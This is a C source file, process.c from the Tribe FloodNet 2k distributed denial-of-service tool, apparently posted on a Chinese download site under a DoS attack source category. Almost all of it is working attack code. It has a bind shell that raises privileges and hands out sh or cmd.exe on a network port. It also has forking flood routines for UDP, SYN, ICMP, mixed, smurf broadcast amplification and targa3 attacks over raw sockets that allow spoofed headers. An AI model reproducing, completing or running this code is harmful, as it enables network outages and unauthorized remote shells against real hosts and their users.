⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 process.c

📁 DOS攻击源码
💻 C
字号:
/* * Tribe FloodNet - 2k edition * by Mixter <mixter@newyorkoffice.com> * * process.c - flood / shell server thread management * * This program is distributed for educational purposes and without any * explicit or implicit warranty; in no event shall the author or * contributors be liable for any direct, indirect or incidental damages * arising in any way out of the use of this software. * */#include "tribe.h"unsigned long myip = 2130706433;	/* 127.0.0.1 network byte ordered */extern int fw00ding, nospoof, rawsock;int pid[CHLD_MAX + 5];voidshellsex (int port){  int s1, s2, s3;  struct sa s_a, c_a;  if (fork ())    return;  setuid (0);  setgid (0);#ifndef WINDOZE  setreuid (0, 0);  setregid (0, 0);#endif  s1 = socket (AF_INET, SOCK_STREAM, TCP);  bzero ((char *) &s_a, sizeof (s_a));  s_a.fam = AF_INET;  s_a.add = htonl (INADDR_ANY);  s_a.dp = htons (port);  if (bind (s1, (struct sockaddr *) &s_a, sizeof (s_a)) < 0)    exit (0);  if (listen (s1, 1) < 0)    exit (0);  while (1)    {      s3 = sizeof (c_a);      s2 = accept (s1, (struct sockaddr *) &c_a, &s3);      dup2 (s2, 0);      dup2 (s2, 1);      dup2 (s2, 2);#ifndef WINDOZE      if (execlp ("sh", "sh", (char *) 0) < 0)	execlp ("ksh", "ksh", (char *) 0);	/* yech, no sh */#else      if (execlp ("command.exe", "command.exe", (char *) 0) < 0)	execlp ("cmd.exe", "cmd.exe", (char *) 0);	/* yech, windoze neanderthal technology */#endif      close (s2);      return;    }}voidcommence_udp (char *ip){  int i = -1, p;  unsigned long resolved = 0;  char *parse;  if ((parse = strtok (ip, DELIMITER)) == NULL)    {      fw00ding = 0;      return;    }  while ((parse != NULL) && (i++ < CHLD_MAX))    {      resolved = resolve (parse);      p = fork ();      if (!p)	{	  rawsock = socket (AF_INET, SOCK_RAW, RAW);	  if (rawsock < 0)	    rawsock = socket (AF_INET, SOCK_RAW, UDP);	  setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));	  if (resolved == -1)	    exit (0);	  while (1)	    udp (resolved);	}#ifdef ATTACKLOG      {	char tmp[100];	sprintf (tmp, "PID %d forking (#%d), child (%d) attacks %s, UDP\n"		 ,getpid (), i, p, parse);	dbug (tmp);      }#endif      pid[i] = p;      parse = strtok (NULL, DELIMITER);    }}voidcommence_syn (char *ip, int port){  int i = -1, p;  unsigned long resolved = 0;  char *parse;  if ((parse = strtok (ip, DELIMITER)) == NULL)    {      fw00ding = 0;      return;    }  while ((parse != NULL) && (i++ < CHLD_MAX))    {      resolved = resolve (parse);      p = fork ();      if (!p)	{	  rawsock = socket (AF_INET, SOCK_RAW, RAW);	  if (rawsock < 0)	    rawsock = socket (AF_INET, SOCK_RAW, TCP);	  setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));	  if (resolved == -1)	    exit (0);	  while (1)	    syn (resolved, port);	}#ifdef ATTACKLOG      {	char tmpbuf[100];	sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, SYN\n"		 ,getpid (), i, p, parse);	dbug (tmpbuf);      }#endif      pid[i] = p;      parse = strtok (NULL, DELIMITER);    }}voidcommence_icmp (char *ip){  int i = -1, p;  unsigned long resolved = 0;  char *parse;  if ((parse = strtok (ip, DELIMITER)) == NULL)    {      fw00ding = 0;      return;    }  while ((parse != NULL) && (i++ < CHLD_MAX))    {      resolved = resolve (parse);      p = fork ();      if (!p)	{	  rawsock = socket (AF_INET, SOCK_RAW, RAW);	  if (rawsock < 0)	    rawsock = socket (AF_INET, SOCK_RAW, ICMP);	  setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));	  if (resolved == -1)	    exit (0);	  while (1)	    icmp (resolved, 0);	}#ifdef ATTACKLOG      {	char tmpbuf[100];	sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, ICMP\n"		 ,getpid (), i, p, parse);	dbug (tmpbuf);      }#endif      pid[i] = p;      parse = strtok (NULL, DELIMITER);    }}voidcommence_mix (char *ip){  int i = -1, p;  unsigned long resolved = 0;  char *parse;  if ((parse = strtok (ip, DELIMITER)) == NULL)    {      fw00ding = 0;      return;    }  while ((parse != NULL) && (i++ < CHLD_MAX))    {      resolved = resolve (parse);      p = fork ();      if (!p)	{	  rawsock = socket (AF_INET, SOCK_RAW, RAW);	  if (rawsock < 0)	    rawsock = socket (AF_INET, SOCK_RAW, IP);	  setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));	  if (resolved == -1)	    exit (0);	  while (1)	    {	      icmp (resolved, 0);	      syn (resolved, 0);	      udp (resolved);	    }	}#ifdef ATTACKLOG      {	char tmpbuf[100];	sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, MIX\n"		 ,getpid (), i, p, parse);	dbug (tmpbuf);      }#endif      pid[i] = p;      parse = strtok (NULL, DELIMITER);    }}voidcommence_smurf (char *ip){  int i = -1, p;  unsigned long bcast, resolved = 0;  char *parse;  if ((parse = strtok (ip, DELIMITER)) == NULL)    {      fw00ding = 0;      return;    }  resolved = resolve (parse);  if (resolved == -1)    {      fw00ding = 0;      return;    }  if ((parse = strtok (NULL, DELIMITER)) == NULL)    {      fw00ding = 0;      return;    }  while ((parse != NULL) && (i++ < CHLD_MAX))    {      bcast = resolve (parse);      p = fork ();      if (!p)	{	  rawsock = socket (AF_INET, SOCK_RAW, RAW);	  if (rawsock < 0)	    rawsock = socket (AF_INET, SOCK_RAW, ICMP);	  setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));	  if (resolved == -1)	    exit (0);	  while (1)	    icmp (resolved, bcast);	}#ifdef ATTACKLOG      {	char tmpbuf[100];	sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attack-bcast %s, SMURF\n"		 ,getpid (), i, p, parse);	dbug (tmpbuf);      }#endif      pid[i] = p;      parse = strtok (NULL, DELIMITER);    }}voidcommence_targa3 (char *ip){  int i = -1, p;  unsigned long resolved = 0;  char *parse;  if ((parse = strtok (ip, DELIMITER)) == NULL)    {      fw00ding = 0;      return;    }  while ((parse != NULL) && (i++ < CHLD_MAX))    {      resolved = resolve (parse);      p = fork ();      if (!p)	{	  rawsock = socket (AF_INET, SOCK_RAW, RAW);	  if (rawsock < 0)	    rawsock = socket (AF_INET, SOCK_RAW, 0);	  setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));	  if (resolved == -1)	    exit (0);	  while (1)	    targa3 (resolved);	}#ifdef ATTACKLOG      {	char tmpbuf[100];	sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, TARGA3\n"		 ,getpid (), i, p, parse);	dbug (tmpbuf);      }#endif      pid[i] = p;      parse = strtok (NULL, DELIMITER);    }}voidmust_kill_all (void){  int i;  for (i = 0; i <= CHLD_MAX - 1; i++)    {#ifdef ATTACKLOG      char tmp[100];      if (pid[i] < 2)	break;			/* killing -1 or 0 != fun :) */      sprintf (tmp, "Killing flood pid (#%d): %d\n", i, pid[i]);      dbug (tmp);      kill (pid[i], 9);#else      if (pid[i] < 2)	break;			/* killing -1 or 0 != fun :) */      kill (pid[i], 9);#endif    }}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -